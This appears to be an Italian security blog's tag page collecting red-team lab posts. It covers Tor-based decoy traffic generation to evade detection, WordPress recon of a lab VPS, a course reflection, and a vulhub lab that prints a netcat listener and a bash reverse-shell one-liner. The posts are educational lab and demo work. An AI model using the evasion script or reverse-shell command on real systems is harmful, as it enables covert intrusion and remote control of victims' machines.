twitch – Rocco Sicilia

Abstract

Nelle attività di Red Teaming ed Adversary Simulation vi è la necessità di condurre l’azione, se lo scenario lo richiede, senza essere individuati. Una dalle attività che vorrei meglio indagare è la creazione di una falsa “baseline” per ingannare i sistemi di detection. In questo esercizio di laboratorio metto le basi per la creazione di traffico http/https da utilizzare per coprire azioni offensive verso una web application.

Scenario

Questo primo laboratorio nasce da una esigenza specifica che recentemente ho avuto modo di portare all’interno di una delle sessione live su Twitch: dovendo analizzare un sistema target senza essere identificati – e quindi “bloccati” dall’amministratore – ho avuto la necessità di generare traffico verosimile verso il sito web. Quasi contemporaneamente ho avuto modo di discutere con diversi Red Team di approccio e metodi per condurre azioni silenziose e ho voluto fare qualche esperimento.

Il target del laboratorio è una macchina dvwp, sistema che stiamo utilizzando io ed Andrea per le nostre sessioni Red vs. Blue ma va benissimo un qualsiasi web server in grado di registrare i log di accesso al sistema. Per eseguire la detection vorrei utilizzare un sistema in grado di analizzare i log in modo semplice. Mentre scrivo non so ancora se utilizzerò Splunk o Graylog.

Divido questa prima parte del lab in più step:

Infrastruttura proxy per utilizzo di più IP sorgenti
Script di crawling per definizione page list
Script di generazione traffico

Una volta portata a termina la prima fase potremo iniziare ad osservare il comportamento dello script grazie all’analisi dei log.

Più sorgenti IP

Inizialmente avevo pensato di utilizzare una tecnica di spoofing con scapy, non ho completamente abbandonato l’idea ma facendo un po’ di prove ho trovato più utile in questa fase utilizzare la rete Tor per far pervenire al web server chiamate da diversi IP. Per generare una quantità di traffico verosimile, corrispondente a più utenti che contemporaneamente accedono al sito target, non basta un singolo proxy in quanto l’IP di navigazione sarebbe unico all’interno della stessa finestra di tempo. L’idea è quindi di avviare più istanze Tor per ottenere diversi “path” di navigazione e quindi, in teoria, diversi exit node.

Nei log del web server mi aspetto quindi vengano registrati gli accessi di almeno tre IP address, in caso di utilizzo di tre istanze proxy, che dovrebbero anche variare dopo qualche minuto.

Nota a margine: su Tor ho già scritto qualcosa in passato di cui consiglio la lettura.

A livello di implementazione la base Tor è molto semplice, è ovviamente necessario disporre di almeno una macchina linux in cui installare il pacchetto con il comando:

$ apt install tor

Una volta installato ed avviato il servizio dovreste poter controllare lo status dello stesso. Nel mio caso la situazione post installazione (ho utilizzato un host Ubuntu LTS) è la seguente:

Di default Tor utilizza la porta 9050 sulla loopback della macchina server su cui è installato, nel nostro laboratorio dobbiamo fare qualche modifica per ottenere tre istanze su tre differenti porte utilizzando l’IP di una delle interfacce di rete del sistema.

Il file di configurazione di base è /etc/tor/torrc di cui creeremo tre copie: torrc_1, torrc_2, torre_3. Per ogni file di configurazione imposteremo tre diverse tcp port, nel mio caso 9061, 9062, 9063:

Nello stesso file va anche definita una DataDirectory specifica, nel mio caso ho definito i path /var/lib/tor1, /var/lib/tor2, /var/lib/tor3. Una volta predisposti i file di configurazione possiamo quindi avviare le nostre tre istanze con il comando:

$ sudo tor -f /etc/tor/torrc_1 &
$ sudo tor -f /etc/tor/torrc_2 &
$ sudo tor -f /etc/tor/torrc_3 &

Il risultato deve essere di tre processi attivi e relativi servizi sulle porte definite:

Giunti a questo risultato abbiamo predisposto la base proxy. Ovviamente la quantità di processi è a vostra discrezione, il consumo di per se è basso e dipende molto da quanto traffico si andrà a generare. Il sistema che ho utilizzato per questo LAB è il mio “cube-pc”, non particolarmente potente ma abbastanza carrozzato a CPU. Una volta a runtime raccoglierò anche la statistiche di carico.

Generare la lista delle pagine “valide”

Obiettivo del lab è generare traffico verosimile, non possiamo quindi permetterci di ottenere una sfilza di errori 404 come abbiamo avuto modo di osservare in una passata sessione Red vs. Blue con Andrea in occasione dell’utilizzo di DirBuster. L’idea è di utilizzare un semplice crawler per raccogliere i link disponibili in una pagina del sito target per generare poi le richieste che simuleranno il traffico di ipotetici utenti.

Di tools a questo scopo ce ne sono centinaia, ma visto che lo scopo di queste sessione sessioni è approfondire e capire ci armiamo di python e ci creiamo il nostro piccolo crawler. Nulla di particolare, dobbiamo solo accedere al contenuto di una pagina web, estrarre tutti i link (che in HTML sono definiti con <a href=”https://www.sito.web/”>link</a>) e posizionarli in un file di comodo. Lo script fatto per l’occasione lo trovate nella mia repo GitHub all’interno del progetto sToolz: https://github.com/roccosicilia/sToolz/tree/master/RedTeam/AnonHttpReq.

Il funzionamento è molto semplice, lo script va lanciato dandogli come parametro la URL del sito target ed il nome file su cui riportare i link:

Lo script utilizza il file generato scrivendo in “append” eventuali nuovi contenuti ed è possibile passare come paramento anche una specifica pagina ottenendo l’arricchimento della lista dei link.

Componiamo l’arma cyber

Ora abbiamo i proxy e la lista degli URL validi da utilizzare, manca solo lo script per generare delle requests realistiche. Si tratta di una componente in realtà molto semplice da realizzare in quanto per utilizzare un proxy in una chiamata http/https possiamo tranquillamente utilizzare il modulo requests di python. Volendo essere particolarmente precisi potremmo eseguire richieste ad intervalli irregolari attingendo dalle URL in modo random.

Lo script che realizziamo deve prevedere tre parametri in input: la URL target, il file in cui sono presenti i link generati dal crawler e le iterazioni (quante richiesta fare). Si tratterà quindi di un classico ciclo in cui, per ogni iterazione, sceglieremo random il link target ed il proxy da utilizzare. Di seguito la porzione di codice del prototipo (nella repo trovate tutto):

while (i <= counter):
    pos = randrange(0, urls_num)
    socksp = randrange(1, 4)
    print("Select URL in pos {}, proxy {}: \t{}".format(pos, socksp, urls[pos]))
    # session.get(urls[pos]).text
    session.proxies = { 'http':  'socks5://192.168.1.6:906{}'.format(socksp), 'https': 'socks5://192.168.1.6:906{}'.format(socksp) }
    session.get(urls[pos])
    i = i+1

Ovviamente gli IP indicati nei socks5 si riferiscono al mio laboratorio e terminato il prototipo avrà senso portare queste info in un file di configurazione assieme a molte altre variabili.

Se abbiamo già a disposizione un elenco URL in un file precedentemente creato possiamo eseguire una prova verso il nostro target:

$ python ./AnonHttpReq.py http://ec2-15-161-154-157.eu-south-1.compute.amazonaws.com aws.txt 10

Facendo qualche test ho notato che ogni tanto i proxy vanno in timeout, c’è sicuramente del tuning da fare per rendete tutto più fluido gestendo la specifica eccezione.

Cosa manca?

Nella repo di sToolz trovate tutti gli script aggiornati e nelle prossime ore ci rimetteremo mano assieme grazie alla Live su Twitch prevista per il 14 ottobre alle 21:30. Oltre a sistemare un po’ la struttura dello script dobbiamo ovviamente sistemare un po’ di dettagli come lo user agent che viene registrato dai log del web server.

Diciamo che la base è pronta, bisogna sistemare i dettagli e rendere tutto utilizzabile con un mail script unico. Dopo di che potremo mettere alla priva il risultato assieme ad Andrea e, nella seconda parte, vediamo come predisporre un controllo che rilevi questo tipo di azioni.

cyber security, hacking

Attack and Defense: post-live del 21 settembre

22 settembre 202223 settembre 2022 Rocco Sicilia

Non l’ho fatto per la prima live in coppia con Andrea, ho pensato di farlo per la seconda sessione di ieri sera sul canale di Security Cert. Come ho raccontato un paio di settimana fa abbiamo in testa questa idea da qualche tempo ormai: condividere delle sessioni di analisi di un target per definire una strategia di attacco (lato mio) e una strategia di difesa (lato Andrea). Nella prima puntata abbiamo visto il contesto e la base di partenza del lab, una tipica VPS che espone una web app con qualche vulnerabilità. Ieri, in occasione della seconda puntata, abbiamo iniziato ad analizzare il target ed il questo post faccio un po’ la sintesi di quello che ci siamo detti, ovviamente dal mio punto di vista.

Qualche info di servizio prima di iniziare a discutere le azioni intraprese:

il video della live è archiviato sul canale YouTube di SecurityCert e lo trovate qui
sul mio canale porterò avanti le fasi di preparazione alla live, trovate la programmazione qui
la prossima live è programmata per il 06/10/2022
se volete partecipare attivamente alla sessione assieme ad Andrea (nelle azioni difensive) o assieme a me (nelle azioni offensiva) i dati di accesso all’ambiente vengono condivisi con i partecipanti alla sessione

Cosa abbiamo di fronte

Tra le prime azioni intraprese abbiamo ovviamente eseguito una scansione del sistema target. Essendo una macchina di recente installazione che è solitamente off-line (il lab viene disattivato quando non siamo live) non vi è possibilità di utilizzare tecniche passive come l’analisi di precedenti versioni dell’applicazione (Wayback Machine) o i rilevamenti di scansioni terze (Shodan).

Con il più classico degli nmap abbiamo ottenuto l’elenco dei servizi:

porta tcp\22 (ssh)
porta tcp\80 (apache2)
porta tcp\3306v (mysql)

L’accesso al DB è stato subito dall’esterno è stato quasi subito inibito da Andrea, in effetti non aveva senso e come prima azione ci era venuto in mente di tentare un brute force attack.

L’applicazione web espone un sito in WordPress che abbiamo subito preso in esame. Come discusso il live la prima cosa che verrebbe in mente a chiunque è di utilizzare dirb per dare un occhio ai path esposti e wpscan per verificare lo stato dell’applicazione, cosa assolutamente sensata e lo faremo anche noi. Prima ho voluto lasciare spazio a qualche tools/servizio terze parti per vedere che tipo di info avrebbero portato all’attenzione. Ve ne cito alcuni tra quelli provati, dateci un occhio anche voi:

Qualche elemento interessante da queste scansioni è emerso ma nulla di particolare, qualche risultato lo abbiamo commentato assieme in live. La scansione tramite wpscan da invece dei risultati molto chiari:

vengono enumerati due utenti (admin e events)
vengono rilevate tre plugin segnalate come out of date

Da una ricerca su wpscan.com emergono le potenziali vulnerabilità per:

wp-advanced-search v3.3.3
social-warfare <= 3.5.2
wp-file-upload

Nel rilevare le informazioni base che ci consentiranno di definire un modello di attacco abbiamo discusso delle evidenze che le nostre azioni hanno generato, in particolare i log che Andrea riusciva chiaramente a ricondurre alle nostre azioni.

ToDo per la prossima sessione

E’ evidente che siamo stati troppo rumorosi e il parte questo era lo scopo della sessione. In un contesto di Penetration Testing potrebbe anche non essere un problema ma in ambito Red Team lo è. Quindi per la prossima sessione sicuramente dobbiamo dotarci di uno strumento per generare traffico realistico sul sistema.

Una volta che abbiamo la possibilità di confonderci nella mischia inizieremo a verificare la possibilità di utilizzare le vulnerabilità plausibili per costruire una tattica di attacco.

Continua.

cyber security

Master CyberSecurity e Data Protection: riflessioni ed approfondimenti

28 febbraio 20221 Maggio 2023 Rocco Sicilia

Lo scorso 26 febbraio ho avuto il piacere dedicare una giornata per una docenza all’interno del Master curato da 24 ore Business School: Executive Master Cybersecurity e Data Protection. Tanti argomenti, quelli discussi nella preparazione del programma, da addensare in sei intense ore dove si sono condivise informazioni ma anche molta esperienza tramite casi di studio e laboratori pratici.

Appena chiusa la lezione mi è immediatamente venuta voglia di scrivere in merito, in parte per “digerire” l’esperienza della docenza, sempre più frequente negli ultimi anni e sempre ricca di emozioni, in parte per ripercorrere gli argomenti che a causa del tempo non ho potuto approfondire. Come ho scritto in un post qualche giorno fa quando ho preparato la sessione ho dovuto necessariamente selezionare gli argomenti da presentare, vorrei quindi provare ad approfondire parte dei contenuti arricchendo ovviamente con dei laboratori pratici che siano di comune utilità. In questo post provo a fare un elenco degli approfondimenti che mi piacerebbe affrontare e nei prossimo giorni, dal mio canale Twitch, inizieremo a discuterli assieme.

OSInt e strumenti

E’ un argomento che appassiona sempre ed ho notato un forte interesse per due specifici strumenti con cui abbiamo un po’ giocato: Shodan e Maltego. Proverei quindi ad approfondire l’utilizzo degli strumenti in se e nel caso di Shodan riprendo un tema di cui avevo parlato in un podcast: la possibilità di utilizzare la piattaforma per automatizzare alcune ricerche. Ci vedo bene un piccolo lab per con un po’ di python.

Analisi e gestione delle vulnerabilità

Argomento troppo vasto. Cosa sia una vulnerabilità è più o meno cosa nota, comprenderla è un altro paio di maniche. L’approfondimento che vorrei fare in questo caso è più di gestione che di operatività. A fare una scansione – permettetemi – son buoni tutti, strutturare e governare un Remediation Plan che abbia un senso è un lavoro un po’ diverso. Parliamo di questo, dobbiamo imparare a gestirla questa “sicurezza cyber”.

In questa occasione ha sicuramente senso parlare degli elementi che consentono ad un analista di comprendere gli effetti di una vulnerabilità in un determinato contesto. Il concetto che vorrei quindi analizzare è quello del rischio.

Reverse Shell e C2

Temi che hanno appassionato i più tecnici ma che richiedevano un laboratorio dedicato… e così li approcceremo. Preparerò due laboratori per costruire assieme uno scenario di attacco che preveda l’impiego di una Reverse Shell e di un server di controllo.

Probabilmente ho definito gli argomenti per il prossimo mese di live ma se chi dovesse passare per questa pagina ha qualche ulteriore argomento da proporre sono ovviamente ben lieto di considerarlo.

Prima di chiudere (anche perché qui sono le 02:31 a.m.) due parole sull’esperienza in se. Non possono definirmi un docente, non è il mio ruolo, ma sono convinto che chi ha maturato esperienza in un campo (tanta o poca, non importa) debba in qualche misura condividere qualcosa con il resto della comunità. Che sia sotto forma di pubblicazione, di una docenza, di una intervista… va bene tutto. Il punto è condividere l’esperienza oltre che la conoscenza.

cyber security, hacking

Lab setup per post-exploiting: scenario base

16 febbraio 2022 Rocco Sicilia

Un post dedicato alla preparazione di un lab destinato ad esercitazioni di attacco e difesa. In realtà si tratta di una versione rivisitata di un lab che avevo implementato a fine 2021 con Andrea Dainese per delle sessioni cyber range di addestramento di un Red Team (esperienza molto interessante tra l’altro). In questa versione del lab conto di aggiungere, con il tempo, qualche elemento in più.

Il lab è di per se uno strumento che in questo caso verrà utilizzato per sessioni dimostrative di attacco in diversi contesti. Con 24 Ore Business School ho in programma delle sessioni specifiche all’interno di un master in Cyber Security e per l’occasione ho voluto preparare delle sessioni dove si possa vedere qualcosa di reale seppur in ambiente “controllato”. Se all’interno del master la scelta degli argomenti è giustamente definita dal programma, sulle mie play-session Twitch c’è spazio per la sperimentazione. In questo periodo mi piace particolarmente giocare con le reverse shell e le azioni di post-exploitation, quindi in questo lab andrò a predisporre elementi vulnerabili in varia forma al fine di provare diverse tecniche di attacco e sperimentare strumenti di detection.

Nello scenario base andiamo ad installare:

Un firewall di perimetro con tre network interfaces (WAN, LAN, DMZ)
Una VM con sistema operativo Windows Server
Una VM con sistema operativo Ubuntu Linux Server
Una VM con sistema operativo Windows (client)
Una VM d’appoggio per l’attacker (la solita kali alla portata di tutti)

Lo schema finale assomiglia a qualcosa del genere:

Per semplicità in questo scenario il firewall è basato su un glorioso pfsense che avrà ovviamente una interfaccia WAN esposta in rete pubblica (per accesso ad internet e NAT), una interfaccia per la DMZ ed una interfaccia per la rete LAN. Nella play-session in preparazione lo scenario coinvolgerà i sistemi in DMZ in quanto vi saranno dei servizi esposti con delle vulnerabilità anche gravi (es: RCE).

Partiamo quindi proprio dai sistemi server ed in particolare dalla VM Ubuntu Linux su cui predisponiamo un set di container appositamente implementati con software vulnerabile: https://github.com/vulhub/vulhub. Sul sistema (target-01 nel mio schema) va quindi installato un po’ di software base:

$ sudo apt-get install python3-pip
...
$ sudo apt-get install docker docker-compose
...

Fatto questo si può procedere con il download del progetto vulnhub:

$ wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
$ unzip vulhub-master.zip

Ora abbiamo sulla macchina una certa abbondanza di software con cui giocare per provare diverse tipologie di exploit. Il primo scenario a cui dedicare la sessione live del 17 febbraio riguarda la possibilità di guadagnare una reverse shell su uno dei sistemi target partendo da una semplice sessione tcp via netcat.

A prescindere dal software che utilizzeremo come target per la simulazione l’obiettivo è quindi eseguire sul server vittima un comando netcat per aprire una sessione verso la macchina controllata dall’attacker ed adoperarsi per mantenere il link stabilmente attivo. In riferimento allo schema condiviso avremo quindi sulla macchina dell’attacker un netcat in listen pronto a ricevere la sessione dalla macchine vittima…

$ nc -vv -l -p 1337

…e sul sistema target faremo in modo di aprire una sessione verso la macchina dell’attacker con una shell pronta a ricevere i comandi da remoto. Per esempio:

$ sleep 3s && nohup bash -i >/dev/tcp/{R_HOST}/1337 0<&1 2>&1

In questo scenario, potendo il sistema target accedere alla rete internet attraverso il firewall, otterremo che la macchina compromessa sarà governabile da remoto grazie ad una sessione che ha origine dall’interno della rete verso l’esterno.

TODO per la sessione live (tempo permettendo):

setup del lab – ovviamente – e panoramica dei sistemi
test con la reverse shell sulla macchina target
test di exploiting di un sistema vulnerabile per esecuzione reverse shell
test di detection: verifica log firewall e test con XDR

Ovviamente la sessione è puramente dimostrativa e l’obiettivo è toccare con mano temi ben noti agli addetti ai lavori ma forse meno frequentati da chi si occupa prettamente di gestione operativa dei sistemi.

Il principio alla base di questi contenuti resta quello della consapevolezza: se capiamo come funzionano gli attacchi informatici avremo più strumenti per comprendere come prevenirli e, in caso di incident, come gestirli.

Tag: twitch

Eludere i controlli “network-based” [prima parte]